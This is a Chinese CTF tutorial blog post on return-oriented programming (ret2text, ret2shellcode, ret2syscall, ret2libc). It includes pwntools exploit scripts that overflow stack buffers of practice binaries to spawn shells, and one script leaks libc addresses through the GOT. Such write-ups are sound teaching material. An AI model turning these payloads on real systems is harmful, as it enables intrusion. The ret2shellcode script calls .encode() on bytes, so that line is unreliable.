NX保护开启后,不能直接向堆栈上注入代码运行,因此需要采用返回返回导向编程 (Return Oriented Programming)来绕过保护。ROP主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。gadgets 通常是以 ret
结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。
ROP 攻击一般得满足如下条件:
-
程序漏洞允许我们劫持控制流,并控制后续的返回地址。(堆栈保护机制❌)
-
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。(程序中没有合适片段❌)
1.ret2text
有的时候,程序中 .text 段会有一些可以使用的代码,我们可以控制执行程序已有的一段或多段不相邻的代码,这就是ret2text。应找出溢出的变量长度,计算出相当于返回地址的偏移长度,然后灌输相同长度的垃圾信息,之后用目标地址覆盖返回地址就能得到系统的shell了。
例题 BUUCTF在线评测 rip
用IDA打开,发现gets没有限制输入,存在栈溢出漏洞
双击变量s进入栈视图,发现s的长度为15
由于这道题是64位程序,所以返回地址偏移长度位15+8,找到后门函数fun压参地址payload如下:
#!/usr/bin/env python3
from pwn import*
p = remote('node5.buuoj.cn', 25353)
buf = b'a'*23 + p64(0x40118A)
p.sendline(buf)
p.interactive()
2.ret2shellcode
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell,ret2shellcode,即控制程序执行 shellcode 代码。通常情况下,shellcode 需要我们自行编写或者使用pwntools的shellcraft工具来生成并且转换成二进制格式。
shellcode想执行需要所在区域具有可执行权限,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。
题目来源:XMCVE 2020 CTF Pwn入门课程_哔哩哔哩_bilibili
解题步骤:先使用checksec查看防护措施,发现有RWX字段,即可读写执行段
然后用vmmap工具查看可执行段,计算段和esp的差值,shellcode可以使用pwntools提供的shellcraft.sh()进行生成,写出exp:
from pwn import *
io = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
payload = shellcode + (b'A' * 68).encode() + p32(0x0804A080)
io.sendline(payload)
io.interactive()
3.ret2syscall
控制程序执行系统调用,获取shell,以下是我们经常用到的系统调用:
execve("/bin/sh",NULL,NULL)
系统调用的概念:
计算机的各种硬件资源是有限的,为了更好的管理这些资源,用户进程是不允许直接操作的,所有对这些资源的访问都必须由操作系统控制。为此操作系统为用户态运行的进程与硬件设备之间进行交互提供了一组接口,这组接口就是所谓的系统调用。系统调用实质上就是函数调用,只不过调用的是系统函数,处于内核态而已。 用户在调用系统调用时会向内核传递一个系统调用号,然后系统调用处理程序通过此号从系统调用表中找到相应的内核函数执行,最后返回。
Linux系统有几百个系统调用,为了唯一的标识每一个系统调用,Linux为每一个系统调用定义了一个唯一的编号,这个编号就是系统调用号,系统调用号在 /usr/include/x86_64-linux-gnu/asm/unistd_32.h存储。
在Linux中,EAX寄存器是负责传递系统调用号的,而对系统调用的调用必须通过执行int $0x80汇编指令,这条指令会产生向量为128的编程异常(128向量即0x80向量)。在执行指令前,调用号会被存放在eax寄存器中,系统调用处理函数(中断处理函数)最终会通过系统调用号,调用正确的系统调用。对于参数传递,Linux也是通过寄存器完成的。Linux最多允许向系统调用传递6个参数,分别依次由%ebx,%ecx,%edx,%esi,%edi和%ebp这个6个寄存器完成。
因此,系统调用execve("/bin/sh",NULL,NULL)共需要五个寄存器,分别存放:
1.execve的系统调用号0xb(只能存放在eax中)
2.中断号0x80
3.”/bin/sh“对应的地址
4.调用参数 0
5.调用参数 0
用IDA反编译发现有gets()函数,因此是利用了栈溢出,然后用ROPgadgets获得上文五个寄存器的gadgets,还有"/bin/sh"和int 0x80的地址,命令如下
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x080bb196 : pop eax ; ret
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
ROPgadget --binary rop --string '/bin/sh'
0x080be408 : /bin/sh
ROPgadget --binary rop --only 'int'
0x08049421 : int 0x80
由上文构建payload:
from pwn import *
elf = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat([b'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
elf.sendline(payload)
elf.interactive()
4.ret2libc
(题目来源 基本 ROP - CTF Wiki)
这里分三种情况:
1)有system地址和/bin/sh地址
下载ret2libc1文件并checksec,发现是32位ELF,并且有NX保护,因此不能写入shellcode执行
拖进IDA发现有危险函数gets(),可以栈溢出,同时发现.plt段中有调用system函数
call 0x8048460 <system@plt>
shift+F12发现有字符串"/bin/sh"
.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o
然后用gdb计算偏移量:
先使用cyclic 200生成随机字符串
输入r运行,再输入生成的字符串
查看报错
然后输入cyclic -l 0x62616164 ,得到偏移长度为112
然后构建exp:
from pwn import *
io = process('./ret2libc1')
sh = 0x08048720
system_plt = 0x08048460
payload = b'a'*112 + p32(system_plt) + b'aaaa' + p32(sh)
io.sendline(payload)
io.interactive()
注意:使用PLT地址跳转到system函数时,程序栈会给system函数栈压入一个返回地址,返回地址介于函数地址和参数地址中间,因此需要将该返回地址填满(随便写)。
2)有system地址,没有/bin/sh地址
下载ret2libc2文件并checksec,发现是32位ELF,并且有NX保护
拖入IDA发现题目和上题类似,但是没有"/bin/sh",因此需要我们手动将其写入并执行
我们在IDA中查看到.bss段中有一个长为100的空闲内存buf2,起始地址为0x0804A080
然后发现还有一个gets()函数,位于plt上的0x8048460地址,于是可以用构造出payload:
垃圾信息+
gets函数的地址+
system函数的地址(gets函数的返回地址)+
gets函数的参数(输入的内存地址即buf2,同时也是system函数的返回地址)+
system函数的参数(需要执行的指令,即存放在buf2中,使用gets函数输入的指令)
exp如下:
from pwn import *
elf = process('./ret2libc2')
buf2 = 0x0804A080
system_plt = 0x08048490
gets_plt = 0x08048460
payload = b'a'*112 + p32(gets_plt) + p32(system_plt) + p32(buf2) + p32(buf2)
elf.sendline(payload)
elf.interactive()
运行后输入cat flag即可得到flag
3)没有system函数和/bin/sh
下载ret2libc3发现是32位程序,并且在前一道题的基础上去掉了system函数的地址
这道题需要用到libc的延迟绑定:
PLT(Procedure Linkage Table)过程链接表: 获取数据段存放函数地址
GOT(Global Offset Table)全局偏移表: 存放函数地址的数据段
动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再间接跳转。这么做势必会影响到程序的运行速度。但程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现延迟绑定是通过PLT,原先GOT中存放着全局变量和函数调用,现在把它拆成两个部分.got和.got.plt,用 .got存放着全局变量引用,用.got.plt存放着函数引用
简而言之,一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址,因为libc中任意两个函数之间的偏移是固定的。
因此,我们需要先运行一次程序,完成动态绑定,通过溢出获取已知函数在GOT表上的位置,并且返回到程序最开始再次运行。第一次泄露的payload:
payload = b'A' * 112 + p32(puts_plt) + p32(main) + p32(libc_start_main_got)
溢出 输出函数 返回到入口 要泄露的GOT地址
然后可以使用LibcSearcher查询libc版本并计算偏移,得到system和/bin/sh的真实地址,然后第二次溢出获得shell,exp如下:
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
标签:调用,函数,libc,地址,system,ROP,初级,sh,Pwn
From: https://blog.csdn.net/Rinko233/article/details/143405277